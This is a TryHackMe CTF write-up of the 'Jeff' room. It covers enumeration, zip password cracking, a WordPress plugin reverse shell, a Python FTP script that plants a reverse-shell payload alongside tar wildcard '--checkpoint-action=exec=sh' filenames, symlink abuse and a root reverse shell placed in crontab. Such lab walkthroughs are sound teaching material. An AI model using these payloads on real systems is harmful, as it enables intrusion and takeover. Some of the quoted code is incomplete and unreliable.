Jeff Writeup - TryHackMe


6 min read


Hi there!, Jeff is a room in TryHackme Rated as Hard. it indeed is. Without Further Ado lets Start!

As always we do , lets start off with an nmap scan.

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 7e:43:5f:1e:58:a8:fc:c9:f7:fd:4b:40:0b:83:79:32 (RSA)
    |   256 5c:79:92:dd:e9:d1:46:50:70:f0:34:62:26:f0:69:39 (ECDSA)
    |_  256 ce:d9:82:2b:69:5f:82:d0:f5:5c:9b:3e:be:76:88:c3 (ED25519)

80/tcp open  http    nginx
    |_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

As the Hint says . Add jeff.thm to your /etc/hosts file.

Nothing in the website Stands Out and the robots.txt is not found. So lets move on and do a directory Bruteforce.

FFUF scan

I use Fuff scanner as i like it and it is Faster! But You can use any tool like Gobuster/Dirbuster .

`ffuf -uhttp://jeff.thm/FUZZ-w /usr/share/wordlists/dirb/common.txt -ic -c`

Found 3 directories:
* /backups

* /admin

* /uploads

Browsing the above pages shows that all are empty and blank.
Further Bruteforce on the directories, i found the following:

/admin --> found /admin/login.php which is also a blank page .seems like a rabbit hole.
/uploads --> Found index.html with an upload button which doesn't do any action on click . There is no Javascript as well .
/backups --> Enumerating further with extensions(.php, .txt, .zip) , Found a file Downloaded it with wget. seems to be Password Protected. Let's crack the password with fcrackzip .


fcrackzip -D -p /usr/share/wordlist/rockyou.txt

-D = dictionary attack mode
-p = wordlist filepath

It cracked the password within milliseconds.

Unzipping the Zip file with the password , we can see it has webroot files.
Checking the 'wpadmin.bak' file , we see it contains wordpress password of some user.
But we doesn't know where the wordpress is hosted. We can Bruteforce for virtual Hosts with Gobuster/wfuzz.


gobuster vhost -uhttp://jeff.thm/-w /usr/share/wordlists/Seclists/Discovery/DNS/subdomains-top1mil-20000.txt

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Mode         : vhost
[+] Url/Domain   : http://jeff.thm/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/Seclists/Discovery/DNS/subdomains-top1mil-20000.txt
[+] User Agent   : gobuster/3.1.0
[+] Timeout      : 10s
2019/06/21 11:49:43 Starting gobuster


As we found the vhost, add wordpress.jeff.thm to your /etc/hosts file beside 'jeff.thm'.Now go to http://wordpress.jeff.thm/wp-admin and login with the Wordpress password we found earlier.

jeff : [REDACTED]

after logging in , We can easily get a reverse shell by uploading it as a plugin or 404.php file. I tried to edit the 404.php file in themes and uploaded a php reverse shell but that didn't work! I did the same with the plugins. Before I got that working, I think i tried it several times and for some reason the plugins were deleted each time I tried to activate them. So i redeployed the box and now it works.

Paste the PHP reverse-shell code to the akismet.php plugin and setup a netcat listener ( nc -lvnp [port] ) and then activate the plugin from plugin menu and boom you Dropped a Shell.

Local Recon

We got a shell as low privileged user www-data. when i checked the webroot /var/ww/html/ i could see a unusual file called ftp_backup.php which had credentials of someone ( backupmgr: Sup******4*********! ).

    Todo: I need to finish coding this database backup script.
          also maybe convert it to a wordpress plugin in the future.

$dbFile = 'db_backup/backup.sql';
$ftpFile = 'backup.sql';

$username = "backupmgr";
$password = "[REDACTED]";

$ftp = ftp_connect(""); // todo, set up /etc/hosts for the container host

if( ! ftp_login($ftp, $username, $password) ){
    die("FTP Login failed.");

$msg = "Upload failed";
if (ftp_put($ftp, $remote_file, $file, FTP_ASCII)) {
    $msg = "$file was uploaded.\n";

echo $msg;

We are Inside a docker container . So we must find a way to Break out of it. From the script we can see that the ftp is being run locally at we can use CURL to Communicate with it.

curl -v -s -P- 'ftp://backupmgr:[PASSWORD]@'

The above command will list the ftp folder.
I got this response :

* Connection #0 to host left intact
drwxr-xr-x    2 1001     1001         4096 May 18 16:14 files

So there is a files directory . What i am going to do is upload a reverse shell to files and use tar wildcard exploitation method with it so that when its executed i will get a shell out of the container (Hoping that there will be a cronjob running!).

#!/usr/bin/env python3.7

from ftplib import FTP
import io

#Connecting to the host
ftp = FTP(host= '')

#login for ftp user
ftp.login(user= "backupmgr", passwd= "[REDACTED]")


payload = io.BytesIO(b'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$IP",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);\'')
empty = io.BytesIO(b'')

ftp.storlines('STOR', payload)
ftp.storlines('STOR --checkpoint=1', empty)
ftp.storlines('STOR --checkpoint-action=exec=sh', empty)


Here's the Exploit that i will be using . (note : I did not write this i got this exploit from another blog! :/ )


  1. Log in to FTP using credentials (line 7)

  2. Set passive mode for results (line 9)

  3. Change directory to /files (line 11)

  4. The reverse shell is stored in the variable payload encoded in bytes (lines 12, 13)

  5. Save and use tar wildcards with storlines() (lines 14, 15, 16)

  6. Quit
    Set the PORT and IP address in the reverse shell, execute the script from the victim machine, set up an nc listener, and wait for the connection.

Got connection as backupmgr.

Privilege Escalation (Horizontal)

we cannot access /home/jeff . checking the files owned by jeff using find (find / -user jeff 2>/dev/null ), we find /var/backups/jeff.bak but its not readable . There was another file called syslog owned by jeff which was administrative tool made by jeff . checking this binary with ltrace we find that it reads from message.txt in /opt/systools

backupmgr@tryharder:/opt/systools$ cat message.txt 
Jeff, you should login with your own account to view/change your password. I hope you haven't forgotten it.



backupmgr@tryharder:/opt/systools$ ./systool 
Welcome to Jeffs System Administration tool.
This is still a very beta version and some things are not implemented yet.
Please Select an option from below.
1 ) View process information.
2 ) Restore your password.
3 ) Exit 
Chose your option: 2

Jeff, you should login with your own account to view/change your password. I hope you haven't forgotten it.

1 ) View process information.
2 ) Restore your password.
3 ) Exit 
Chose your option: 3

we can see it reads from message.txt and prints it. we can link message.txt (readable) to jeff.bak (unreadable) so that we can read the password from jeff.bak .

ln -s /var/backups/jeff.bak message.txt
This command will link the bak file to message and thus enable us to read it . Run the syslog binary again and choose option 2 , boom we can read the jeff's password.

Privilege Escalation (vertical)

we can ssh to jeff , but its a rbash . break out of it using the --noprofile command with ssh .

ssh jeff@jeff.thm --noprofile
After logging in , You can now read the user.txt from jeff's home director. You need to hash to MD5 to get the right answer.

Checking 'sudo-l' Command , surprisingly considering the difficulty level of this room , we can run crontab as root without password.

jeff@tryharder:~$ sudo -l
[sudo] password for jeff: 
Matching Defaults entries for jeff on tryharder:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jeff may run the following commands on tryharder:
    (ALL) /usr/bin/crontab

I edited the crontab with sudo crontab -e and placed a reverse shell which execute every minute. and i started a netcat listener and got a connection within a minute as root.

Now we can Access the root Flag


Thank you For reading my writeup and see you later.